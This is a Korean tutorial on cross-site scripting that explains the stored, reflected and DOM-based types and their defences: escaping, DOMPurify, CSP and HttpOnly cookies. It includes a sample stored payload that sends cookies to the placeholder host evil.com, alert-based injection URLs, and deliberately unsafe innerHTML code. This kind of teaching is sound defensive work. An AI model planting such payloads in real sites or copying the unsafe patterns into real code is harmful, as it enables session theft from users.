XSS 공격이란?
XSS(Cross-Site Scripting)는 공격자가 신뢰할 수 있는 웹사이트에 악성 스크립트를 삽입하여 사용자 브라우저에서 실행되게 하는 공격입니다. 이를 통해 쿠키 탈취, 세션 하이재킹, 사용자 정보 수집, 피싱 공격 등이 가능합니다.
XSS 공격의 가장 큰 위험성은 신뢰할 수 있는 웹사이트의 컨텍스트에서 악성 코드가 실행되기 때문에, 사용자가 공격을 인지하기 어렵다는 점입니다. 브라우저는 해당 스크립트를 정상적인 웹사이트의 코드로 인식하여 실행하게 됩니다.
핵심 개념
1. XSS 공격 유형
XSS 공격은 크게 세 가지 유형으로 분류됩니다:
저장형(Stored) XSS는 악성 스크립트가 서버 데이터베이스에 저장되어 다른 사용자가 해당 페이지를 방문할 때마다 실행되는 공격입니다:
<!-- 게시판 댓글에 저장된 악성 스크립트 -->
<div class="comment">
안녕하세요! <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
</div>
반사형(Reflected) XSS는 URL 파라미터나 폼 데이터를 통해 전달된 악성 스크립트가 서버 응답에 포함되어 즉시 실행되는 공격입니다:
// 검색 결과 페이지에서 검색어를 그대로 출력할 때
const searchQuery = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `검색어: ${searchQuery}`;
// URL: example.com/search?q=<script>alert('XSS')</script>
DOM 기반 XSS는 클라이언트 측 JavaScript가 DOM을 동적으로 조작할 때 발생하는 공격입니다:
// 해시값을 직접 DOM에 삽입
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash;
// URL: example.com#<img src=x onerror=alert('XSS')>
2. 입력 검증과 출력 이스케이핑
사용자 입력을 적절히 검증하고 HTML 출력 시 특수 문자를 이스케이프 처리하는 것이 기본적인 방어 방법입니다:
// ❌ 위험한 방법 - 사용자 입력을 직접 HTML에 삽입
function displayUserContent(userInput) {
document.getElementById('content').innerHTML = userInput;
}
// ✅ 안전한 방법 - textContent 사용으로 자동 이스케이프
function displayUserContent(userInput) {
document.getElementById('content').textContent = userInput;
}
// ✅ HTML이 필요한 경우 - DOMPurify로 sanitization
import DOMPurify from 'dompurify';
function displayUserContent(userInput) {
const cleanHTML = DOMPurify.sanitize(userInput, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em'],
ALLOWED_ATTR: []
});
document.getElementById('content').innerHTML = cleanHTML;
}
3. Content Security Policy (CSP)
CSP는 브라우저에게 실행을 허용할 리소스의 출처를 명시적으로 지정하는 보안 정책입니다:
<!-- 메타 태그로 CSP 설정 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;">
// HTTP 헤더로 CSP 설정 (Express.js 예시)
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-" + res.locals.nonce + "'");
next();
});
4. 쿠키 보안 설정
쿠키에 적절한 보안 플래그를 설정하여 XSS 공격으로부터 세션을 보호할 수 있습니다:
// HttpOnly 플래그로 JavaScript 접근 차단
document.cookie = "sessionId=abc123; HttpOnly; Secure; SameSite=Strict";
// 서버 사이드에서 쿠키 설정 (Express.js 예시)
app.use(session({
cookie: {
httpOnly: true, // JavaScript 접근 차단
secure: true, // HTTPS에서만 전송
sameSite: 'strict' // CSRF 공격 방지
}
}));
정리
| 방어 기법 | 설명 | 적용 시점 |
|---|---|---|
| 입력 검증 | 사용자 입력의 형식과 내용을 검증 | 클라이언트/서버 |
| 출력 이스케이핑 | HTML 특수문자를 안전한 문자로 변환 | 출력 시점 |
| CSP 설정 | 허용된 리소스 출처만 실행 허용 | 페이지 로드 시 |
| HttpOnly 쿠키 | JavaScript를 통한 쿠키 접근 차단 | 쿠키 설정 시 |
| Sanitization | 신뢰할 수 없는 HTML 콘텐츠 정화 | HTML 삽입 전 |
XSS 방어는 단일 기법보다는 여러 보안 계층을 조합한 심층 방어(Defense in Depth) 전략이 효과적입니다. 사용자 입력 처리, 출력 이스케이핑, CSP 설정, 쿠키 보안을 모두 적용하여 종합적인 보안을 구축해야 합니다.